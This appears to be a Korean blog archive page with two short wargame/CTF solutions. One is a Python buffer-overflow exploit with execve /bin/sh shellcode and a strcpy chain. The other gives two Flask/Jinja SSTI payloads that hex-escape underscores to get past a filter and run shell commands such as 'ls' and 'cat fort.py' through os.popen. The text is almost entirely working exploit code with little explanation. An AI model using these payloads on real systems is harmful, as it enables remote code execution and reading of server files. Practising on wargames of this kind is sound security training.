'2019/04/22'에 해당되는 글 3건

import os
from struct import *

p = lambda x : pack("<L" , x)
path = '/home/succubus/nightmare'
strcpyAddress = p(0x8048410)
shellAddress = p(0xbffffa74)
shellCode = shellAddress+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*11
dstAddress = p(0xbffffaa0)
srcAddress = p(0xbffffa70)
payload = shellCode+"A"*4+strcpyAddress+"A"*4+dstAddress+srcAddress

os.execl(path,path,payload)

Flask SSTI인데 필터링이 _ 랑 . 이렇게 두개밖에 없다. 필터가 빡센편이 아니라 아래 페이로드로 우회해서 명령어 실행해주면 된다. 

payload

{{''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][2]['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('ls')['read']()}}

{{''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][2]['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('cat fort\x2epy')['read']()}}